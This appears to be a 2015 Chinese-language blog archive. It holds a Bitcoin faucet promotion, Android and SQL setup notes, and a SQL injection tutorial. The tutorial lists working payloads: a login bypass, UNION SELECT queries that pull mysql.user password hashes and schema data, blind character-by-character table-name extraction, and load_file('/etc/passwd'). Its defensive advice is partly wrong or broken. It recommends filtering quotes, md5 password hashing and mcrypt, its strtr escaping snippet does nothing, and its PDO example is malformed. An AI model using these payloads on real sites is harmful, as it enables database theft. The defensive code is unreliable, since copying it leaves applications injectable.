2015年11月27日 星期五

免費比特幣


http://joecheung.weebly.com/2594523416-land-of-bitcoin-faucet2081336027276042930524163/-land-of-bitcoin-faucet

 
這是小弟強烈推薦的網站,因為這是一個包括數以百計的免費賺取BitCoin比特幣的網站,小弟推薦的打captcha網站中(文章:免費賺取比特幣),有一部份網站都是來自於Land of Bitcoin faucet。

這個網站和之前很不同的,是利用第三者bitcoin聚集網站,分別是MicroWallet、BitChest、CoinBox這三個bitcoin聚集網站會集合在以上各網站獲得的BitCoin而一同發放,可大大加快發款時間,小弟平均一日收一次款。(文章:Microwallet, CoinBox.me, Bit Chest, BitcoinCloud, Monedero ) 請進入連結查看各聚集網站的簡介。

每一個網站獲得的BitCoin (Satoshi)數量都是隨機的,當中有幾個送出十分多! 

教學(註冊流程)


點撃網址: 
https://www.landofbitcoin.com/

1. 進入畫面,點擊register 
2. 點擊registration
3. 成功註冊!請按account設定個人資料

4+5. 輸入個人電郵和bitcoin 地址,如果還沒有申請
bitcoin 地址,請收看文章: Blockchain:在線註冊比特幣錢包教程
6+7. 點擊以更新登入資料。



註冊完成

賺取比特幣教學(流程)

首頁簡介
Picture
自動累積比特幣(流程)
開始賺取比特幣(打captcha流程)

1. 按下進入畫面,
2. 先按your follow sites,再按ready to visit
3. 賺取站內的BinCoin,這個站的BinCoin是不需等侯或看廣告
由於每個網站操作不同,但亦大同小異,也只是輸入BitCoin位址,然後答問題即可,前往下一個網只需要按visit next sites,這個是你可賺取最高的BitCoin數量
 
Play 
 


http://searchapp.soft4fun.net/article/information/Xapo%20Bitcoin%20Faucet/2766617


2015年11月26日 星期四

PHP教學網站_The Right Way.


http://laravel-taiwan.github.io/php-the-right-way/


Android環境建置


http://blog.cavedu.com/programming-language/androidjava/%E7%B2%BE%E7%B0%A1%E7%89%88android%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE/


https://sites.google.com/a/cavedu.com/androidrobot2014/setup
2. 下載並安裝 ADT-Bundle
    下載完成之後解壓縮,開啓Eclispe即可。
    注意:這只會包含最新的Android版本。其餘版本需自行下載(非必要)
畫面跑掉怎麼辦?
工具列 Window-> Reset Perspective
檢查Android SDK路徑
工具列 Preferences->找到Android選項。右側的 SDK Location
重要介面
SDK Manager(在此管理所有Android版本與相依套件)
AVD Manager(在此管理所有模擬器)
AVD是指 Android Virtual Machine,就是手機模擬器。當沒有實體手機時,可用模擬器來執行(部分應體功能會無法使用)
新增模擬器
1. 點選New…
2. 設定AVD Name, Device(解析度,不用選太高,電腦會變慢), Target(Android版本)。設定好按OK。
3. 新增完成,AVD可自由編輯或刪除。
如何啟動/安裝程式到模擬器
當程式沒錯時,即可執行程式。有兩種做法:
1. 對專案根目錄點右鍵:在選單中點選 Run As… Android Application
2. 工具列上的 Run按鈕,點選下拉式選單:Run As… Android Application
如何開啟手機權限
Android手機預設是無法安裝非 Google Play下載的程式的。因此需要做以下兩件事:
1. 設定->開發人員選項->USB偵錯(請勾選)。這時再次將手機以 USB 連上電腦會要求安裝驅動程式。
2. 設定->安全性->不明來源(請勾選)。
  
怎麼知道我的手機版本?
設定->關於手機->Android版本
開發人員選項不見了怎麼辦?(從Android 4.2之後)
到 設定->關於手機/平板電腦
不斷點選"版本號碼",直到出現"您現在已成為開發人員!"訊息即可
再回到設定選單,就會看到"開發人員選項"了
如何確定手機連到電腦了?
點選畫面右上角的+號,點選DDMS
在畫面左側會列出目前連線的機器,下圖中有一台模擬器與一隻Samsung


select 指令,可以查詢到二個不同資料庫中,各一個table的內容出來嗎?

https://social.technet.microsoft.com/Forums/zh-TW/3990d6ee-a25c-4be0-a6f5-79ae433a8373/select-table?forum=sqlservermanagementzhcht


可利用union all:
declare @cno char(6)
set @cno='CU0001'
select CNO,A01 as C01 from [甲].[dbo].[AA] where CNO=@cno
union all
select CNO,B01 as C01 from [乙].[dbo].[BB] where CNO=@cno


SQL Injection 常見的駭客攻擊方式








Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,還有要特別注意,md5 目前已經有破解方式,改用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:
$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一種過瀘方式
  1. $str = "'\"";
  2. $replace = array("'" => "'", "\"" => """);
  3. $str = strtr($str, $replace);
Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載



asp .net 使用function

ASPX中使用ASPX.VB的Function